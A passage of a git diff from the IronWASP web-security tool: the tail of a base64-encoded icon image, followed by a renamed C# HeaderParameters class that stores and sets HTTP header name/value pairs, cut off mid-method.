AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////b////////////////////2////////////////////5n///////////////////8Y// + //////////////////GP///////////////////hh///////////////////4Yf///////////////// + /8GD///////////////////Bg///////////////////gYH//////////////////4GB//////////// + //////8BgP//////////////////AYD//////////////////gGAf/////////////////4BgH////// + ///////////8AYA//////////////////AGAP/////////////////gBgB/////////////////4AYAf + ////////////////8AGAD/////////////////ABgA/////////////////gAYAH//////////////// + 4AGAB////////////////8ABgAP////////////////AAYAD////////////////gAGAAf////////// + /////4ABgAH///////////////8AAYAA///////////////+AAGAAH///////////////gABgAB///// + //////////wAAYAAP//////////////8AAGAAD//////////////+AABgAAf//////////////gAAYAA + H//////////////wAAGAAA//////////////8AABgAAP/////////////+AAAYAAB//////////////g + AAGAAAf/////////////wAABgAAD/////////////8AAAYAAA//////////////AAAGAAAP///////// + ////4AABgAAH/////////////2AAAYAABv////////////4wAAGAAAx////////////+MAABgAAMf/// + /////////BgAAYAAGD////////////wYAAGAABg////////////4DAABgAAwH///////////+AwAAYAA + MB////////////AGAAGAAGAP///////////wBgABgABgD///////////4AMAAYAAwAf//////////+AD + AAGAAMAH///////////AAYABgAGAA///////////wAGAAYABgAP//////////4AAgAGAAQAB//////// + //+AAMABgAMAAf//////////AABAAYACAAD//////////wAAYAGABgAA//////////4AAGABgAQAAH// + ///////+AAAwAYAMAAB//////////AAAMAGACAAAP/////////wAABgBgBgAAD/////////4AAAYAYAY + AAAf////////+AAADAGAMAAAH/////////AAAA////AAAA/////////wAAAH///gAAAP////////4AAA + D///4AAAB////////+AAAAwAADAAAAf////////AAAAYAAAQAAAD////////wAAAGAAAGAAAA/////// + /4AAADAAAAgAAAH///////+AAAAwAAAMAAAB////////AAAAYAAABAAAAP///////wAAAGAAAAYAAAD/ + //////4AAADAAAACAAAAf//////+AAAAwAAAAwAAAH///////AAAAYAAAAEAAAA///////wAAAGAAAAB + gAAAP//////4AAADAAAAAIAAAB//////+AAAAwAAAADAAAAf//////AAAAYAAAAAQAAAD//////wAAAG + AAAAAGAAAA//////4AAADAAAAAAgAAAH/////+AAAAwAAAAAMAAAB//////AAAAIAAAAABAAAAP///// + wAAAGAAAAAAYAAAD/////4AAABAAAAAACAAAAf////+AAAAwAAAAAAwAAAH/////AAAAIAAAAAAEAAAA + /////wAAAGAAAAAABgAAAP////4AAABAAAAAAAIAAAB////+AAAAwAAAAAADAAAAf////AAAAMAAAAAA + AQAAAD////wAAAGAAAAAAAGAAAA////4AAABgAAAAAAAgAAAH///+AAAAwAAAAAAAMAAAB////AAAAMA + AAAAAABAAAAP///wAAAGAAAAAAAAYAAAD///4AAABgAAAAAAACAAAAf//+AAAAwAAAAAAAAwAAAH///A + AAAMAAAAAAAAEAAAA///wAAAGAAAAAAAABgAAAP//4AAABgAAAAAAAAIAAAB//+AAAAwAAAAAAAADAAA + Af//AAAAMAAAAAAAAAQAAAD//wAAAGAAAAAAAAAGAAAA//4AAAH4AAAAAAAAH4AAAH/+AAAH/wAAAAAA + AP/gAAB//AAAP//wAAAAAA///AAAP/wAAf///gAAAAB///+AAD/4AAf////gAAAH////4AAf+AA///// + /AAAP/////wAH/AA//////+AAf//////AA/wB///////+B///////+AP4B/////////////////4B+D/ + /////////////////wfD///////////////////D//////////////////////////////////////// + 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 + + + \ No newline at end of file diff --git a/IronWASP/HeaderParameters.cs b/Iron/HeaderParameters.cs similarity index 96% rename from IronWASP/HeaderParameters.cs rename to Iron/HeaderParameters.cs index dd1ef10..4225669 100644 --- a/IronWASP/HeaderParameters.cs +++ b/Iron/HeaderParameters.cs @@ -1,309 +1,309 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class HeaderParameters - { - Dictionary> ParameterStore = new Dictionary>(StringComparer.OrdinalIgnoreCase); - - public int Count - { - get - { - return ParameterStore.Count; - } - } - - internal HeaderParameters() - { - - } - - internal HeaderParameters(HeaderParameters Headers) - { - this.ParameterStore = Headers.ParameterStore; - } - - internal HeaderParameters(string[] HeaderArray) - { - this.BuildFromHeaderArray(HeaderArray); - } - - public string RawGet(string Name) - { - Name = SafeRaw(Name); - if (ParameterStore.ContainsKey(Name)) - { - List Values = ParameterStore[Name]; - return Values[0]; - } - else - { - throw new Exception("Parameter not found"); - } - } - public string Get(string Name) - { - return Decode(this.RawGet(Encode(Name))); - } - - public void Set(string Name, string Value) - { - Name = SafeRaw(Name); - Value = SafeRaw(Value); - if (Name.Trim().Length == 0) return; - ParameterStore[Name] = new List() { Value }; - } - public void Set(string Name, int Position, string Value) - { - Name = SafeRaw(Name); - Value = SafeRaw(Value); - if (Name.Trim().Length == 0) return; - if (Position < 0) return; - if (ParameterStore.ContainsKey(Name)) - { - if (Position >= ParameterStore[Name].Count) - { - this.Add(Name, Value); - } - else - { - ParameterStore[Name][Position] = Value; - } - } - else - { - ParameterStore[Name] = new List() { Value }; - } - } - public void SetAt(string Name, int Position, string Value) - { - this.Set(Name, Position, Value); 